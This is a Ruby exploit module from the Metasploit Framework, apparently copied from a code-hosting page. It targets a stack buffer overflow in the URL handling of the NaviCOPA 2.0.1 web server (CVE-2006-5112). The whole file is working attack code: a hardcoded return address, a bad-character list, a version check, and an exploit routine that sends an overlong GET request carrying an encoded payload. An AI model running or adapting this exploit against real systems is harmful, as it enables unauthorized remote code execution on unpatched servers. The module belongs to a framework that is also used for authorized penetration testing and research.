93 lines
2.0 KiB
Ruby
93 lines
2.0 KiB
Ruby
##
|
|
# $Id$
|
|
##
|
|
|
|
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# Framework web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/projects/Framework/
|
|
##
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
module Msf
|
|
|
|
class Exploits::Windows::Http::Navicopa_Get_Overflow < Msf::Exploit::Remote
|
|
|
|
include Exploit::Remote::Tcp
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'NaviCOPA 2.0.1 URL Handling Buffer Overflow',
|
|
'Description' => %q{
|
|
This module exploits a stack overflow in NaviCOPA 2.0.1.
|
|
The vulnerability is caused due to a boundary error within the
|
|
handling of URL parameters.
|
|
},
|
|
'Author' => 'MC',
|
|
'License' => MSF_LICENSE,
|
|
'Version' => '$Revision$',
|
|
'References' =>
|
|
[
|
|
[ 'BID', '20250' ],
|
|
[ 'CVE', '2006-5112' ],
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'thread',
|
|
},
|
|
'Privileged' => true,
|
|
'Payload' =>
|
|
{
|
|
'Space' => 400,
|
|
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
|
|
'StackAdjustment' => -3500,
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
['NaviCOPA 2.0.1 Universal', { 'Ret' => 0x1009b4ff }], # IV320009.dll
|
|
],
|
|
'DisclosureDate' => 'Sep 28 2006',
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options( [ Opt::RPORT(80) ], self.class )
|
|
end
|
|
|
|
def check
|
|
connect
|
|
|
|
sock.put("GET / HTTP/1.0\r\n\r\n")
|
|
resp = sock.get_once
|
|
disconnect
|
|
|
|
if (resp =~ /2.01 11th September/)
|
|
return Exploit::CheckCode::Vulnerable
|
|
end
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
|
|
def exploit
|
|
connect
|
|
|
|
sploit = rand_text_alphanumeric(228, payload_badchars)
|
|
sploit << [target.ret].pack('V') + payload.encoded
|
|
|
|
uri = '/' + sploit
|
|
|
|
res = "GET #{uri} HTTP/1.1\r\n\r\n"
|
|
|
|
print_status("Trying target %s" % target.name)
|
|
|
|
sock.put(res)
|
|
sock.close
|
|
|
|
handler
|
|
disconnect
|
|
end
|
|
|
|
end
|
|
end
|